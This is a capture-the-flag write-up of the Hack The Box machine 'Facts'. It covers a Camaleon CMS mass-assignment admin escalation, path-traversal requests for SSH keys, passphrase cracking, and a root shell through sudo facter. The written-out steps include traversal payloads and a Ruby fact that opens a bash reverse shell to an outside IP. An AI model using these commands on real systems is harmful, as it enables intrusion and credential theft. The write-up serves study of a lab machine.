Myles Nieman
← All writeups

Facts

Overview

Facts is an easy Linux box running a Ruby on Rails application backed by Camaleon CMS 2.9.0. The attack chain starts with user registration on the app, followed by a mass-assignment vulnerability in the account-update AJAX endpoint that lets any user inject the admin role into themselves. As admin, an LFI in the media download endpoint is used to reach an internal MinIO S3 bucket where a password-protected SSH private key is stored. John the Ripper cracks the passphrase, granting SSH access as trivia. Finally, sudo /usr/bin/facter is abused with a custom Ruby fact to execute a reverse shell as root.

Path: register → mass-assignment → admin → LFI → internal S3 SSH key → crack passphrase → SSH as triviasudo facter → root.

Enumeration

An initial Nmap scan reveals SSH and an nginx web server:

$ nmap 10.129.1.16 -A
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/

Nmap output showing SSH and nginx on facts.htb

Adding facts.htb to /etc/hosts and browsing to port 80 reveals the web application — a trivia/random-facts site.

The facts.htb landing page

The facts application showing trivia content

Another view of the facts application

The application stack is identifiable from response headers and error pages as Ruby on Rails.

Ruby on Rails identified as the application framework

Foothold — Camaleon CMS Mass Assignment

Inspecting the session cookie shows a Rails-style encrypted cookie — a base64-encoded, URL-encoded blob with three components (similar to a JWT but using Rails’ MessageEncryptor).

Session cookie inspection showing Rails encrypted session structure

The URL-encoded session cookie value

Rails session cookie structure analysis

Browsing the application further surfaces a search feature whose results are reflected on the page and a note about rate limiting tied to the session cookie.

Search results reflected on the page

Search functionality showing query parameter

Rate limiting on the search endpoint

Navigating to the admin panel after registering a standard user account reveals the CMS version:

Admin panel login page

Admin panel — Camaleon CMS interface

Camaleon CMS admin dashboard

Camaleon CMS version 2.9.0 identified

Camaleon CMS 2.9.0 is vulnerable to a mass-assignment privilege escalation: the AJAX password-update endpoint (update_ajax) does not whitelist the parameters it accepts, so an attacker can inject the role parameter into a password-change request and promote themselves to admin. This is documented at Mass Assignment Vulnerability in Camaleon CMS 2.9.0.

The first attempt targets the wrong endpoint:

Initial (incorrect) mass-assignment attempt

The correct request adds role=admin to the update_ajax password-change call:

Correct mass-assignment request targeting update_ajax

Confirming the correct parameter injection approach

Admin role successfully assigned via mass assignment

Lateral Movement — LFI to Internal S3 SSH Key

With admin access, the CMS exposes a media file-download endpoint that is vulnerable to path traversal (CVE-2024-46986):

GET /admin/media/download_private_file?file=../../../../../../home/william/.ssh/id_rsa
GET /admin/media/download_private_file?file=../../../../../../home/william/user.txt

Direct SSH key retrieval for william does not succeed, but the admin panel also leaks AWS/MinIO credentials:

AWS/MinIO credentials discovered in the admin panel

Configuring the AWS CLI with those credentials and listing S3 buckets at the MinIO endpoint (port 54321) shows two buckets — randomfacts (public) and internal:

$ aws configure --profile randomfacts
$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 ls

AWS CLI configured with the discovered credentials

$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 ls s3://randomfacts --no-verify-ssl

Listing the randomfacts bucket contents

MinIO (xminio) S3-compatible service confirmed

Downloading the full contents of randomfacts shows image assets and thumbnail URLs that appear to be processed server-side:

$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 cp s3://randomfacts . --recursive --no-verify-ssl

Downloading all assets from the randomfacts bucket

Uploading a non-image file to test processing behavior:

$ echo "not an image" > test.png
$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 cp test.png s3://randomfacts --no-verify-ssl

Test file uploaded successfully to the bucket

The thumbnail directory appears to be wiped/regenerated after upload

The LFI endpoint (/admin/media/download_private_file) can traverse into the MinIO data directory:

LFI path traversal confirmed via the admin media endpoint

The internal bucket, which wasn’t visible in the initial enumeration, contains an .ssh directory:

$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh . --recursive
download: s3://internal/.ssh/authorized_keys to ./authorized_keys
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

The private key is password-protected:

SSH private key from internal bucket — passphrase-protected

User — Cracking the SSH Key Passphrase

Convert the key to a hashcat/John-compatible format and crack it:

$ python3 /tools/john/run/ssh2john.py id_ed25519 > sshkey.hash
$ /tools/john/run/john --wordlist=/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt sshkey.hash

John cracks the passphrase after roughly ten minutes: dragonballz.

SSH in as the user associated with the authorized_keys from the internal bucket — trivia:

$ ssh -i id_ed25519 trivia@10.129.1.16

SSH login as trivia with the cracked passphrase

Shell confirmed as the trivia user

The user flag is in trivia’s home directory.

Privilege Escalation — sudo facter

Checking sudo permissions:

trivia@facts:~$ sudo -l

sudo -l output for trivia

facter listed as a passwordless sudo binary

/usr/bin/facter is available without a password. Facter loads custom facts from a directory specified with --custom-dir; any .rb file in that directory is executed as Ruby. Writing a reverse-shell fact and running facter as root triggers it:

trivia@facts:~$ cat shell.rb
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.18/8081 0>&1'")
trivia@facts:~$ sudo /usr/bin/facter --custom-dir=/home/trivia/ x

Root

The reverse shell lands as root. The flag is at /root/root.txt.

Takeaways

  • Mass-assignment in Camaleon CMS 2.9.0 allows any registered user to inject arbitrary model attributes — including role — through the unwhitelisted update_ajax endpoint, granting instant admin access.
  • sudo facter --custom-dir is a full root code-execution primitive: any .rb file in the supplied directory runs as the invoking user (root here), making it a straightforward privilege escalation wherever it appears in sudo -l.